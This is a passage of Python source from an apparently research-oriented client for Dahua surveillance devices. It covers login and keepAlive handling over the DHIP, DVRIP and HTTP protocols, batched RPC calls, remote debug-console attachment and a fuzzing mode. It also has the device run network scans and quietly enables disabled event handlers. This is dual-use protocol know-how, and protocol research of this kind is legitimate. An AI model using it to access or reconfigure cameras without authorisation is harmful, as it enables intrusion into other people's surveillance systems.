host') else: console.failure(color("Failed", RED)) return False else: return False elif self.proto == 'dhip' or self.proto == 'http' or self.proto == 'https': if not self.dahua_dhip_login(username=username, password=password, logon=logon, force=force): if not self.args.dump: if self.args.save: console.success('Save host') else: console.failure(color('Failed', RED)) return False else: return False # Old devices fail and close connection if logon != 'old_3des': query_args = { "method": "userManager.getActiveUserInfoAll", "params": { }, } dh_data = self.send_call(query_args) users = '{}'.format(help_msg('Active Users')) if dh_data.get('params').get('users') is not None: for user in dh_data.get('params').get('users'): users += '{}@{} since {} with "{}" (Id: {}) \n'.format( user.get('Name'), user.get('ClientAddress'), user.get('LoginTime'), user.get('ClientType'), user.get('Id')) else: users += 'None' log.info(users) query_args = { "method": "magicBox.getDeviceType", "params": None, } self.send_call(query_args, multicall=True) """ Classes: NVR, IPC, VTO, VTH, DVR... etc. """ query_args = { "method": "magicBox.getDeviceClass", "params": None, } self.send_call(query_args, multicall=True) query_args = { "method": "global.getCurrentTime", "params": None, } dh_data = self.send_call(query_args, multicall=True, multicallsend=True) self.DeviceClass = \ dh_data.get('magicBox.getDeviceClass').get('params').get('type') \ if dh_data and dh_data.get('magicBox.getDeviceClass').get('result') else '(null)' self.DeviceType = \ dh_data.get('magicBox.getDeviceType').get('params').get('type')\ if dh_data and dh_data.get('magicBox.getDeviceType').get('result') else '(null)' if dh_data and dh_data.get('global.getCurrentTime').get('params'): remote_time = dh_data.get('global.getCurrentTime').get('params').get('time') elif dh_data and dh_data.get('global.getCurrentTime').get('result'): remote_time = dh_data.get('global.getCurrentTime').get('result') else: remote_time = '(null)' log.info("Remote Model: {}, Class: {}, Time: {}".format( self.DeviceType, self.DeviceClass, remote_time )) if self.args.dump: return True if not self.instance_service('console', dattach=True, start=True): console.failure(color("Attach Console failed, using local only", LRED)) self.console_attach = False else: self.console_attach = True console.success(color('Success', GREEN)) if self.events: self.event_manager(msg='events 1') if self.proto in ['http', 'https']: _thread.start_new_thread(self.subscribe_notify, ()) return True def _sleep_check_socket(self, delay): """ This function will act as the delay for keepAlive of the connection At same time it will check and process any late incoming packets every second, which will end up in clientNotifyData() """ keep_alive = 0 dsleep = 1 dh_data = None while True: if delay <= keep_alive: break else: keep_alive += dsleep if self.terminate: break # If received dh_data and not another process locked p2p(), should be callback, break if self.custom_can_recv() and not self.lock.locked(): try: dh_data = self.p2p(packet=None, recv=True) if not dh_data: continue """ Will always return list """ dh_data = fix_json(dh_data) for NUM in range(0, len(dh_data)): self._check_for_keepalive(dh_data[NUM]) except EOFError as e: log.failure('[_sleep_check_socket] {}'.format(repr(e))) self.remote.close() return False except (AttributeError, ValueError, TypeError) as e: log.failure('[_sleep_check_socket] ({}) {}'.format(repr(e), dh_data)) pass time.sleep(dsleep) continue def _p2p_keepalive(self, delay): """ Main keepAlive thread """ keep_alive = log.progress(color('keepAlive thread', YELLOW)) keep_alive.success(color('Started', GREEN)) self.keep_alive_timeout_times = 5 self.keep_alive_timeout = 0 while True: self._sleep_check_socket(delay) if self.terminate: return False if not self.remote.connected() or self.keep_alive_timeout == self.keep_alive_timeout_times: log.warning('self termination ({})'.format(self.rhost)) self.terminate = True self.remote.close() # TEST # del self.remote if self.relay: self.relay.close() # TEST # del self.relay return False query_args = { "method": "global.keepAlive", "params": { "timeout": delay, "active": True }, } try: dh_data = self.p2p(query_args, timeout=10) # print('[keepAlive] sending/receiving', dh_data) except requests.exceptions.RequestException: self.keep_alive_timeout = self.keep_alive_timeout_times self.event.set() self.remote.close() # TEST # del self.remote if self.relay: self.relay.close() # TEST # del self.relay continue except EOFError as e: log.failure('[keepAlive] {}'.format(repr(e))) self.remote.close() if self.relay: self.relay.close() continue if dh_data is None: log.failure('[keepAlive timeout] ({})'.format(self.rhost)) self.keep_alive_timeout += 1 self.event.set() continue """ Will always return list """ dh_data = fix_json(dh_data) for NUM in range(0, len(dh_data)): self._check_for_keepalive(dh_data[NUM]) def _check_for_keepalive(self, dh_data): try: # keepAlive answer if dh_data.get('result') and dh_data.get('params').get('timeout'): if self.event.is_set(): log.success('[keepAlive back] ({})'.format(self.rhost)) self.keep_alive_timeout = 0 self.event.clear() elif not dh_data.get('result') and dh_data.get('error').get('code') == 287637505: # Invalid session in request data! log.failure('[keepAlive timeout] ({})'.format(self.rhost)) self.keep_alive_timeout = self.keep_alive_timeout_times self.event.set() else: """ Not keepAlive answer, send it away to clientNotify check for 'client.' callback 'method' or other stuff """ if dh_data: self.client_notify(json.dumps(dh_data)) except AttributeError: if dh_data: self.client_notify(json.dumps(dh_data)) pass # # Any late dh_data processed from the '_p2p_keepalive()' thread coming from remote device will end up here, # sort out with "client.notify....." callback # def client_notify(self, dh_data): # # Some stuff prints sometimes 'garbage', like 'dvrip -l' # dh_data = ndjson.loads(dh_data, strict=False) for NUM in range(0, len(dh_data)): dh_data = dh_data[NUM] if dh_data.get('method') == 'client.notifyConsoleResult': return self.console_result(msg=dh_data, callback=True) elif dh_data.get('method') == 'client.notifyConsoleAsyncResult': return self.console_result(msg=dh_data, callback=True) elif dh_data.get('method') == 'client.notifyDeviceInfo': return self.device_discovery(msg=dh_data, callback=True) elif dh_data.get('method') == 'client.notifyEventStream': if self.udp_server: dh_data['host'] = self.rhost # # wifi also need events # # print('[2] netApp') # self.net_app(dh_data,callback=True) # # Send off to main event handler # notify_event = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) notify_event.sendto(json.dumps(dh_data).encode('latin-1'), ("127.0.0.1", EventInServerPort)) notify_event.close() else: try: if dh_data.get('method'): log.failure(color("[clientNotify] Unhandled callback: {}".format(dh_data.get('method')), RED)) print(json.dumps(dh_data, indent=4)) except AttributeError: log.failure('[clientNotify] Unknown dh_data: {}'.format(dh_data)) pass return True def send_call(self, query_args=None, multicall=False, multicallsend=False, errorcodes=False, login=False): """ Primary function for sending/receiving data """ if query_args is None: query_args = '' """ Single call """ if not multicall and not len(self.multicall_query_args): """ Just to make 'params' consistent both if it is 'None' or '{}' """ if len(query_args) and query_args.get('params') is not None: if not len(query_args.get('params')): query_args.update({"params": None}) try: dh_data = self.p2p(query_args, login=login) except (KeyboardInterrupt, EOFError): return None if not dh_data: return None """ Replicating how Dahua sending dh_data, so we pass on received dh_data with 'transfer' packet + split('\n') [JSON][0] [DATA][1] """ try: dh_data = json.loads(dh_data) except (AttributeError, JSONDecodeError) as e: if not dh_data.find('\n'): log.failure("[sendCall] (json) ({}) {}".format(repr(e), dh_data)) pass tmp = dh_data.split('\n') dh_data = json.loads(tmp[0]) dh_data.update({"transfer": b64e(tmp[1])}) pass if not dh_data.get('result') and dh_data.get('error'): if self.debugCalls: log.failure(color("query: {}".format(query_args), GREEN)) log.failure(color( "response: {}".format(dh_data), LRED)) if errorcodes: return dh_data else: return False return dh_data """ Multi call """ if not len(self.multicall_query_args): self.multicall_query_args = [] self.multicall_return_check = [] """ Normally we will return JSON dh_data with key as the 'method' name when 'params' is None Others we will use 'params' name, as the 'method' name can be the same for different calls """ # TODO: For now we need to specify known calls, should be bit smarter to handle all kind of methods # (maybe by using ID) # # Just to make 'params' consistent both if it is 'None' or '{}' if len(query_args) and query_args.get('params') is not None: if not len(query_args.get('params')): query_args.update({"params": None}) if isinstance(query_args, dict): query_args.update({ 'id': self.ID, 'session': self.SessionID }) self.update_id() if len(query_args): if query_args.get('params') is None: method = query_args.get('method') elif query_args.get('method') == 'configManager.getConfig' and query_args.get('params').get('name'): method = query_args.get('params').get('name') elif query_args.get('method') == 'configManager.setConfig' and query_args.get('params').get('name'): method = query_args.get('params').get('name') elif query_args.get('method') == 'configManager.getDefault' and query_args.get('params').get('name'): method = query_args.get('params').get('name') elif query_args.get('method').split('.')[0] == 'netApp': method = query_args.get('method') # TODO: Very beta test elif query_args.get('id'): method = query_args.get('id') else: log.failure("[sendCall] (multicall): {}".format(query_args.get('method'))) return False self.multicall_query_args.append(query_args) self.multicall_return_check.append({"id": query_args.get('id'), "method": method}) # TODO: Not good idea to have one additional outside of P2P, but is needed (for now) # self.ID += 1 if multicall and multicallsend and len(self.multicall_query_args): self.multicall_query = { "method": "system.multicall", "params": self.multicall_query_args, } try: dh_data = self.p2p(self.multicall_query) except (KeyboardInterrupt, EOFError): self.multicall_query_args = [] self.multicall_return_check = [] return None if not dh_data or not len(dh_data): print('[system.multicall] data:', dh_data) if self.debugCalls: log.failure(color("[sendCall #1] No dh_data back with query: (system.multicall)", LRED)) # Lets listen again, keepAlive might got it and sent back to recv() try: dh_data = self.p2p(packet=None, recv=True) except (KeyboardInterrupt, EOFError): if self.debugCalls: log.failure(color("[sendCall #2] No dh_data back with query: (system.multicall)", LRED)) self.multicall_query_args = [] self.multicall_return_check = [] return None if not dh_data: return None try: dh_data = json.loads(dh_data) except (AttributeError, JSONDecodeError) as e: log.failure("[sendCall] (json) ({}) {}".format(repr(e), dh_data)) try: dh_data += self.p2p(packet=None, recv=True) except (KeyboardInterrupt, EOFError): self.multicall_query_args = [] self.multicall_return_check = [] return None if not dh_data: return None if not dh_data.get('result'): if self.debugCalls: log.failure(color("query: {}".format(self.multicall_query_args), GREEN)) log.failure(color( "response: {}".format(dh_data), LRED)) return None dh_data = dh_data.get('params') tmp = {} for key in range(0, len(dh_data)): """ Looks like to be FIFO, bailout just in case to catch any ID mismatch """ if not self.multicall_return_check[key].get('id') == dh_data[key].get('id'): log.error("Function SendCall() ID mismatch :\nreq: {}\nres: {}".format( self.multicall_return_check[key], dh_data[key])) tmp[self.multicall_return_check[key].get('method')] = dh_data[key] self.multicall_query_args = [] self.multicall_return_check = None return tmp def instance_service( self, method_name='', dattach=False, params=None, attach_params=None, stop=False, start=False, pull=None, clean=False, list_all=False, fuzz=False, attach_only=False, multicall=False, multicallsend=False): """ Main function to create remote instance and attach (if needed) Storing all details in 'self.instance_serviceDB', simplifies to create/check/pull/close remote instance """ if clean: for service in copy.deepcopy(self.instance_serviceDB): if not service == 'console': log.warning( color('BUG: instance_service "{}" should have already been stopped (stop now)'.format(service), LRED)) if self.debugCalls: log.info('[instance_service] sending stop to: {}'.format(service)) self.instance_service(service, stop=True) return True elif list_all: for service in self.instance_serviceDB: dh_data = '{}'.format(help_msg(service)) for key in self.instance_serviceDB.get(service): dh_data += '[{}] = {}\n'.format(key, self.instance_serviceDB.get(service).get(key)) log.info(dh_data) return True elif pull: if method_name not in self.instance_serviceDB: if self.debugCalls: log.failure('[instanceService] (pull) method_name: {} do not exist'.format(method_name)) return False if self.debugCalls: log.success('[instanceService] (pull) method_name: {} do exist'.format(method_name)) return self.instance_serviceDB.get(method_name).get(pull) elif start: if not self.check_for_service(method_name): if self.debugCalls: log.failure('[instanceService] (service) method_name: {} do not exist'.format(method_name)) return False if method_name in self.instance_serviceDB: if self.debugCalls: log.failure('[instanceService] (create) method_name: {} do exist'.format(method_name)) return False object_id, _proc_id, _sid, dparams, attach_params = self.instance_create( method=method_name, dattach=True if attach_params else dattach, params=params, attach_params=attach_params, fuzz=fuzz, attach_only=attach_only, multicall=multicall, multicallsend=multicallsend, ) if multicall and not multicallsend: return """ More for when fuzzing, we want the Response and not only True/False """ if fuzz and _sid or fuzz and object_id: self.fuzzDB.update({ method_name: { "method_name": method_name, "attach": True if attach_params else dattach, "params": dparams, "attach_params": attach_params, "object": object_id, # False if failure "proc": _proc_id, # method_name "sid": _sid # Response dh_data w/ error code } }) if not object_id: if self.debugCalls: log.failure('[instanceService] (create) Object: {} do not exist'.format(method_name)) return False self.instance_serviceDB.update({ method_name: { "method_name": method_name, "attach": True if attach_params else dattach, "params": dparams, "attach_params": attach_params, "object": object_id, "proc": _proc_id, "sid": _sid } }) if self.debugCalls: log.success('[instanceService] (update) {}'.format(method_name)) self.instance_service(list_all=True) return True elif stop: if method_name not in self.instance_serviceDB: if self.debugCalls: log.failure('[instanceService] (destroy) method_name: {} do not exist'.format(method_name)) return False result, method, dh_data = self.instance_destroy( method=method_name, _proc_id=self.instance_serviceDB.get(method_name).get('proc'), object_id=self.instance_serviceDB.get(method_name).get('object'), detach=self.instance_serviceDB.get(method_name).get('attach'), detach_params=self.instance_serviceDB.get(method_name).get('attach_params') ) if method_name in self.instance_serviceDB: self.instance_serviceDB.pop(method_name) if self.debugCalls: log.success('[destroy] pop: {}'.format(method_name)) self.instance_service(list_all=True) if not result: if self.debugCalls: log.failure('[instanceService] (destroy,instance_destroy) {} {} {}'.format(result, method, dh_data)) return False return True def instance_create( self, method, dattach=True, params=None, attach_params=None, fuzz=False, attach_only=False, multicall=False, multicallsend=False): """ Create factory.instance """ object_id = None _proc_id = None dparams = None answer = None if not attach_only: query_args = { "method": "{}.factory.instance".format(method), "params": params, } if attach_params: self.attachParamsTMP.append(attach_params) if params: self.params_tmp.update({query_args.get('id'): params}) dh_data = self.send_call(query_args, errorcodes=fuzz, multicall=multicall, multicallsend=multicallsend) if multicall and not multicallsend: return None, None, None, None, None if dh_data is False: return False, "{}.factory.instance".format(method), dh_data, params, None if multicall and multicallsend: for answer in dh_data: if dh_data.get(answer).get('result'): break dh_data = dh_data.get(answer) dparams = self.params_tmp.get(dh_data.get('id'), 'error to get "params"') if dh_data is None or not dh_data.get('result'): return False, "{}.factory.instance".format(method), dh_data, params, None object_id = dh_data.get('result') _proc_id = object_id if not dattach: self.params_tmp = {} self.attachParamsTMP = [] # print('[instance_create] No attach') return object_id, _proc_id, None, params if not multicall else dparams, None if attach_only: object_id = attach_only _proc_id = attach_only if multicall and multicallsend: attach_id = {} for paramsTmp in self.attachParamsTMP: query_args = { # "method": "{}.attachAsyncResult".format(method), # .params.cmd needed "method": "{}.attach".format(method), "params": { "proc": _proc_id, # "cmd": "????", # .attachAsyncResult }, "object": object_id, } query_args.get('params').update(paramsTmp) attach_id.update({query_args.get('id'): paramsTmp}) self.send_call(query_args, errorcodes=fuzz, multicall=True, multicallsend=False) query_args = { # "method": "{}.attachAsyncResult".format(method), # .params.cmd needed "method": "{}.attach".format(method), "params": { "proc": _proc_id, # "cmd": "????", # .attachAsyncResult }, "object": object_id, } dh_data = self.send_call(query_args, errorcodes=fuzz, multicall=True, multicallsend=True) if not dh_data: self.instance_destroy(method=method, _proc_id=_proc_id, object_id=object_id, detach=False) return False, "{}.attach".format(method), dh_data, dparams, attach_params for answer in dh_data: if dh_data.get(answer).get('result'): break dh_data = dh_data.get(answer) attach_params = attach_id.get(dh_data.get('id'), 'error to get "attach_params"') else: query_args = { # "method": "{}.attachAsyncResult".format(method), # .params.cmd needed "method": "{}.attach".format(method), "params": { "proc": _proc_id, # "cmd": "????", # .attachAsyncResult }, "object": object_id, } if attach_params: query_args.get('params').update(attach_params) dh_data = self.send_call(query_args, errorcodes=fuzz, multicall=multicall, multicallsend=multicallsend) if not dh_data and not attach_only: self.instance_destroy(method=method, _proc_id=_proc_id, object_id=object_id, detach=False) return False, "{}.attach".format(method), dh_data, params if not multicall else dparams, attach_params if not dh_data.get('result'): if object_id and not attach_only: self.instance_destroy(method=method, _proc_id=_proc_id, object_id=object_id, detach=False) return False, "{}.attach".format(method), dh_data, params if not multicall else dparams, attach_params if dh_data.get('params'): _sid = dh_data.get('params').get('SID') else: _sid = None self.params_tmp = {} self.attachParamsTMP = [] return object_id, _proc_id, _sid, params if not multicall else dparams, attach_params def instance_destroy(self, method, _proc_id, object_id, detach=True, detach_params=None): """ Destroy factory.instance """ if detach: query_args = { # "method": "{}.detachAsyncResult".format(method), # .params.cmd needed "method": "{}.detach".format(method), "params": { "proc": _proc_id, # "cmd": "????", # .detachAsyncResult }, "object": object_id, } if detach and detach_params: query_args.get('params').update(detach_params) dh_data = self.send_call(query_args) # if dh_data == False or not dh_data: if not dh_data: return False, "{}.detach".format(method), dh_data if not dh_data.get('result'): return False, "{}.detach".format(method), dh_data query_args = { "method": "{}.destroy".format(method), "params": None, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data: return False, "{}.destroy".format(method), dh_data if not dh_data.get('result'): return False, "{}.destroy".format(method), dh_data return True, "{}.destroy".format(method), dh_data # # Checking and caches if a service exist or not # def check_for_service(self, service): query_args = { "method": "system.listService", "params": None, } if not len(self.RemoteServicesCache): self.RemoteServicesCache = self.send_call(query_args) if not self.RemoteServicesCache: return False if service == 'dump': return if self.RemoteServicesCache.get('result'): for count in range(0, len(self.RemoteServicesCache.get('params').get('service'))): if self.RemoteServicesCache.get('params').get('service')[count] == service: return True log.failure("Service [{}] not supported on remote device".format(service)) return False # # Main function for subscribe on events from device # def event_manager(self, msg): cmd = msg.split() usage = { "1": "(enable)", "0": "(disable)" } if len(cmd) == 1 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if not self.udp_server: if self.debugCalls: log.warning('Local UDP server not running') return False method_name = 'eventManager' codes = ["All"] if cmd[1] == '1': if self.instance_service(method_name, pull='object'): log.failure("eventManager already enabled") return False self.event_manager_set_config() self.instance_service(method_name, attach_params={"codes": codes}, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False elif cmd[1] == '0': if not self.instance_service(method_name, pull='object'): log.failure("eventManager already disabled") return False self.event_manager_set_config() self.instance_service(method_name, stop=True) return else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False # # Will dump remote config, scan for EventHandler() and enable disabled ones # Using setTemporaryConfig / restoreTemporaryConfig, so changes will not be permanent (in case of reboot) # def event_manager_set_config(self): method_name = 'configManager' self.instance_service(method_name, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False event_id_map = {} if not self.instance_service('eventManager', pull='object'): if not self.RemoteConfigCache: log.info("Caching remote config") query_args = { "method": "configManager.getConfig", "params": { "name": 'All', }, } self.RemoteConfigCache = self.send_call(query_args) if not self.RemoteConfigCache: return False config_members = copy.deepcopy(self.RemoteConfigCache.get('params').get('table')) config = {} for member in config_members: try: if isinstance(config_members[member], list): for count in range(0, len(config_members[member])): if config_members[member][count].get('EventHandler'): if not config_members[member][count].get('Enable'): self.RestoreEventHandler.update({ member: config_members[member], }) config.update({member: config_members[member]}) config[member][count]['Enable'] = True query_args = { "method": "configManager.setTemporaryConfig", "params": { "name": member, "table": config[member], }, "object": object_id, "session": self.SessionID, "id": self.ID } event_id_map.update({self.ID: member}) self.send_call(query_args, multicall=True) elif config_members[member][count].get('Enable'): log.success('{}[{}]: Already enabled'.format(member, count)) elif config_members[member][count].get('CurrentProfile'): # CommGlobal if not config_members[member][count].get('AlarmEnable')\ or not config_members[member][0].get('ProfileEnable'): self.RestoreEventHandler.update({ member: config_members[member], }) config.update({member: config_members[member]}) config[member][count]['AlarmEnable'] = True config[member][count]['ProfileEnable'] = True query_args = { "method": "configManager.setTemporaryConfig", "params": { "name": member, "table": config[member], }, "object": object_id, "session": self.SessionID, "id": self.ID } event_id_map.update({self.ID: member}) self.send_call(query_args, multicall=True) elif config_members[member][count].get('AlarmEnable'): log.success('{}[{}]: Already enabled'.format(member, count)) elif isinstance(config_members[member], dict): if 'EventHandler' in config_members[member]: if not config_members[member].get('Enable'): self.RestoreEventHandler.update({member: config_members[member]}) config.update({member: config_members[member]}) config[member]['Enable'] = True query_args = { "method": "configManager.setTemporaryConfig", "params": { "name": member, "table": config[member], }, "object": object_id, "session": self.SessionID, "id": self.ID } event_id_map.update({self.ID: member}) self.send_call(query_args, multicall=True) elif config_members[member].get('Enable'): log.success('{}: Already enabled'.format(member)) elif 'AlarmEnable' in config_members[member]: # CommGlobal if not config_members[member].get('AlarmEnable')\ or not config_members[member].get('ProfileEnable'): self.RestoreEventHandler.update({member: config_members[member]}) config.update({member: config_members[member]}) config[member]['AlarmEnable'] = True config[member]['ProfileEnable'] = True query_args = { "method": "configManager.setTemporaryConfig", "params": { "name": member, "table": config[member], }, "object": object_id, "session": self.SessionID, "id": self.ID } event_id_map.update({self.ID: member}) self.send_call(query_args, multicall=True) elif config_members[member].get('AlarmEnable'): log.success('{}: Already enabled'.format(member)) except (AttributeError, IndexError): pass log.info("Enabling disabled events") dh_data = self.send_call(None, multicall=True, multicallsend=True) for ID in event_id_map: if dh_data.get(ID).get('result'): log.success('{}: {}'.format(event_id_map.get(ID), dh_data.get(ID).get('result'))) else: log.failure('{}: {}'.format(event_id_map.get(ID), dh_data.get(ID).get('result'))) self.instance_service(method_name, stop=True) return True elif self.instance_service('eventManager', pull='object'): for member in self.RestoreEventHandler: query_args = { "method": "configManager.restoreTemporaryConfig", "params": { "name": member, }, "object": object_id, "session": self.SessionID, "id": self.ID } event_id_map.update({query_args.get('id'): member}) self.send_call(query_args, multicall=True) log.info("Restoring event config") dh_data = self.send_call(None, multicall=True, multicallsend=True) for ID in event_id_map: if dh_data.get(ID).get('result'): log.success('{}: {}'.format(event_id_map.get(ID), dh_data.get(ID).get('result'))) else: log.failure('{}: {}'.format(event_id_map.get(ID), dh_data.get(ID).get('result'))) self.instance_service(method_name, stop=True) return def console_result(self, msg, callback=False): # # Not sure how this looks like, catch the callback and just dump it to console # # NVR additional 'console' w/ console.attachAsyncResult, console.detachAsyncResult if msg.get('method') == 'client.notifyConsoleAsyncResult': log.info("callback: {}".format(msg.get('method'))) print(callback) print(json.dumps(msg, indent=4)) if self.proto in ['http', 'https']: self.recv_stream_status.set() return True paramsinfo = msg.get('params').get('info') if not int(paramsinfo.get('Count')): log.warning("(null) dh_data received from Console") return False for paramscount in range(0, int(paramsinfo.get('Count'))): print(str(paramsinfo.get('Data')[paramscount]).strip('\n')) if self.proto in ['http', 'https']: self.recv_stream_status.set() return True # # Device discovery - by remote device # def device_discovery(self, msg, callback=False): if callback: dh_data = msg print(json.dumps(dh_data, indent=4)) return True cmd = msg.split() usage = { "stop": "(stop)", "multicast": "(Discover devices with Multicast)", "arpscan": { " ": "(Discover devices with ARP)" }, "refresh": "( Not working)", "scan": "( Not working)", "setconfig": "( Not working)", } if len(cmd) == 1 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True # # for help # multicast = 239.255.255.251 UDP/37810 and 255.255.255.255 UDP/5050 # arpscan = arp ip_begin - ip_end # method_name = 'deviceDiscovery' # if not self.instance_service(method_name,pull='object'): # self.instance_service(method_name,attach=True,start=True) # object_id = self.instance_service(method_name,fuzz=True,pull='object') # if not object_id: # log.failure('{}: Error!'.format(method_name)) # return False if cmd[1] == 'stop': object_id = self.instance_service(method_name, fuzz=True, pull='object') if not object_id: log.failure('{}: Error!'.format(method_name)) return False query_args = { "method": "deviceDiscovery.stop", "params": None, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data: return if not self.instance_service(method_name, stop=True): return False return True elif cmd[1] == 'multicast': if not self.instance_service(method_name, pull='object'): self.instance_service(method_name, dattach=True, start=True) object_id = self.instance_service(method_name, fuzz=True, pull='object') if not object_id: log.failure('{}: Error!'.format(method_name)) return False query_args = { "method": "deviceDiscovery.start", "params": { "timeout": "15", }, "object": object_id, } elif cmd[1] == 'arpscan': if not len(cmd) == 4: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False ip_begin = cmd[2] ip_end = cmd[3] if not check_ip(cmd[2]): log.failure('"{}" is not valid host'.format(cmd[2])) return False if not check_ip(cmd[3]): log.failure('"{}" is not valid host'.format(cmd[3])) return False if not self.instance_service(method_name, pull='object'): self.instance_service(method_name, dattach=True, start=True) object_id = self.instance_service(method_name, fuzz=True, pull='object') if not object_id: log.failure('{}: Error!'.format(method_name)) return False query_args = { "method": "deviceDiscovery.ipScan", "params": { "ipBegin": ip_begin, "ipEnd": ip_end, "timeout": "1", }, "object": object_id, } elif cmd[1] == 'refresh': if not self.instance_service(method_name, pull='object'): self.instance_service(method_name, dattach=True, start=True) object_id = self.instance_service(method_name, fuzz=True, pull='object') if not object_id: log.failure('{}: Error!'.format(method_name)) return False query_args = { "method": "deviceDiscovery.refresh", "params": { "device": None, # "timeout":5, # "device":"eth2", # "object":object_id, }, "object": object_id, } elif cmd[1] == 'scan': # (pthread) error: {'code': 268632080, 'message': ''} if not self.instance_service(method_name, pull='object'): self.instance_service(method_name, dattach=True, start=True) object_id = self.instance_service(method_name, fuzz=True, pull='object') if not object_id: log.failure('{}: Error!'.format(method_name)) return False query_args = { "method": "deviceDiscovery.scanDevice", "params": { "ip": ["192.168.5.21"], "timeout": 10, }, "object": object_id, } elif cmd[1] == 'setconfig': # not complete # { # 'Mac': '3c:ef:8c:bf:a2:04', # 'Result': True, # 'DeviceConfig': # { # 'IPv4Address': # { # 'DhcpEnable': True, # 'SubnetMask': '255.255.255.0', # 'DefaultGateway': '192.168.5.1', # 'IPAddressOld': '192.168.5.21', # 'IPAddress': '192.168.5.21' # } # }, # 'UTC': 1611173991.0, # 'LocaleTime': # '2021-01-20 22:19:51' # } if not self.instance_service(method_name, pull='object'): self.instance_service(method_name, dattach=True, start=True) object_id = self.instance_service(method_name, fuzz=True, pull='object') if not object_id: log.failure('{}: Error!'.format(method_name)) return False query_args = { "method": "deviceDiscovery.setConfig", "params": { "mac": "a0:bd:de:ad:be:ef", "username": "admin", "password": "admin", # shall be encrypted "devConfig": {"DummyConfig": ""}, # Needs to figure right params }, "object": object_id, } else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True dh_data = self.send_call(query_args, errorcodes=True) if dh_data.get('result'): print(json.dumps(dh_data, indent=4)) else: self.instance_service(method_name, stop=True) log.failure('{}: {}'.format(query_args.get('method'), dh_data.get('error'))) return def cleanup(self): """ Clean up before we quit, if needed (and can do so) """ if self.instance_service('eventManager', pull='object'): self.event_manager(msg="events 0") if self.instance_service('deviceDiscovery', pull='object'): self.device_discovery(msg='rdiscover stop') def _debug(self, direction, packet): """ Traffic debug """ if self.debug and packet is not None: """ Print send/recv dh_data and current line number """ print(color( "[BEGIN {} ({})] <{:-^40}>".format( direction, self.rhost, inspect.currentframe().f_back.f_lineno), LBLUE)) if (self.debug == 2) or (self.debug == 3): print(hexdump(packet)) if (self.debug == 1) or (self.debug == 3): if packet[4:8] == b'DHIP' or dahua_proto(packet[0:2]): if packet[0:2] == p16(0xb300, endian='big'): header = packet[0:120] dh_data = packet[120:] else: header = packet[0:32] dh_data = packet[32:] print("{}|{}|{}|{}|{}|{}|{}|{}".format( binascii.b2a_hex(header[0:4]).decode('latin-1'), binascii.b2a_hex(header[4:8]).decode('latin-1'), binascii.b2a_hex(header[8:12]).decode('latin-1'), binascii.b2a_hex(header[12:16]).decode('latin-1'), binascii.b2a_hex(header[16:20]).decode('latin-1'), binascii.b2a_hex(header[20:24]).decode('latin-1'), binascii.b2a_hex(header[24:28]).decode('latin-1'), binascii.b2a_hex(header[28:32]).decode('latin-1') )) if dh_data: print("{}".format(dh_data.decode('latin-1').strip('\n'))) elif self.proto in ['http', 'https']: print(packet) elif packet: """ Unknown packet, do hexdump """ log.failure("DEBUG: Unknown packet") print(hexdump(packet)) print(color("[ END {} ({})] <{:-^40}>".format( direction, self.rhost, inspect.currentframe().f_back.f_lineno), BLUE)) return def _p2p_len(self, dh_data): len_recved = 0 len_expect = 0 if self.proto == 'dhip': if dh_data[4:8] == b'DHIP': len_recved = u32(dh_data[16:20]) len_expect = u32(dh_data[24:28]) else: print('Not DHIP') print(dh_data) return None elif self.proto == 'dvrip' or self.proto == '3des': if dahua_proto(dh_data[0:2]): # Field for amount of dh_data in DVRIP/3DES differs proto = [ b'\xb0\x00', b'\xb0\x01' ] # DVRIP Login response if dh_data[0:2] in proto: len_recved = 0 len_expect = u32(dh_data[4:8]) + 32 else: # DVRIP JSON len_recved = u32(dh_data[4:8]) len_expect = u32(dh_data[16:20]) else: print('Not DVRIP') print(dh_data) return None """ LEN is w/o 32 bytes header Make a calculation to find out how many headers we expecting and add to 'len_expect' """ if len_recved: if len_expect == len_recved: len_expect += 32 else: binary_header = len_expect // len_recved if len_recved * binary_header < len_expect: len_expect += (binary_header + 1) * 32 return len_expect def update_id(self): if self.ID == 0xffffffff: self.ID = 0 else: self.ID += 1 def p2p(self, packet=None, recv=False, lock=True, timeout=60, login=False): """ Handle all external communication to and from device """ p2p_header = '' p2p_query_return = [] len_recved = 0 if packet is not None and isinstance(packet, dict) and not packet.get('id'): packet.update({ 'id': self.ID, 'session': self.SessionID }) # TODO # Fix bugs with SSH relay if self.proto in ['http', 'https']: self.lock.acquire() self._debug("SEND", '{},{}\n\n{}'.format(self.remote.headers, self.remote.cookies.get_dict(), packet)) dh_data = self.remote.send(query_args=packet, login=login, timeout=20) self.update_id() self.lock.release() if not dh_data: return None elif isinstance(dh_data, str): return dh_data self._debug("RECV", '{}\n\n{}'.format(dh_data.headers, dh_data.json())) return dh_data.content if lock: self.lock.acquire() if not recv: if packet is None: packet = b'' header = copy.copy(self.header) header = header.replace('_SessionHexID_'.encode('latin-1'), p32(self.SessionID)) header = header.replace('_LEN_'.encode('latin-1'), p32(len(json.dumps(packet).encode('latin-1'))) if isinstance(packet, dict) else p32(len(packet)) ) header = header.replace('_ID_'.encode('latin-1'), p32(self.ID)) if not len(header) == 32: log.error("Binary header != 32 ({})".format(len(header))) if self.lock.locked(): self.lock.release() return None self.update_id() """ Replicating how Dahua sending dh_data (not working for upload to device) [JSON] + \n + [DATA] """ try: if len(packet) and packet.get('transfer'): out = b64d(packet.get('transfer')) packet.pop('transfer') packet = json.dumps(packet) + '\n' + out.decode('latin-1') packet = packet.encode('latin-1') elif isinstance(packet, dict): packet = json.dumps(packet).encode('latin-1') except (JSONDecodeError, AttributeError): pass self._debug("SEND", header + packet) try: if self.relay: if not self.relay.connected(): self.remote.close() self.relay.close() if self.lock.locked(): self.lock.release() self.socket_event.set() return None if not self.remote.connected(): log.error("Connection closed") return None self.remote.send(header + packet) except Exception as e: if self.lock.locked(): self.lock.release() self.socket_event.set() log.failure('[p2p] send: {}'.format(repr(e))) return None # # We must expect there is no output from remote device # Some debug cmd do not return any output, some will return after timeout/failure, most will return directly # start = time.time() dh_data = b'' # Checking in binary header for the amount of 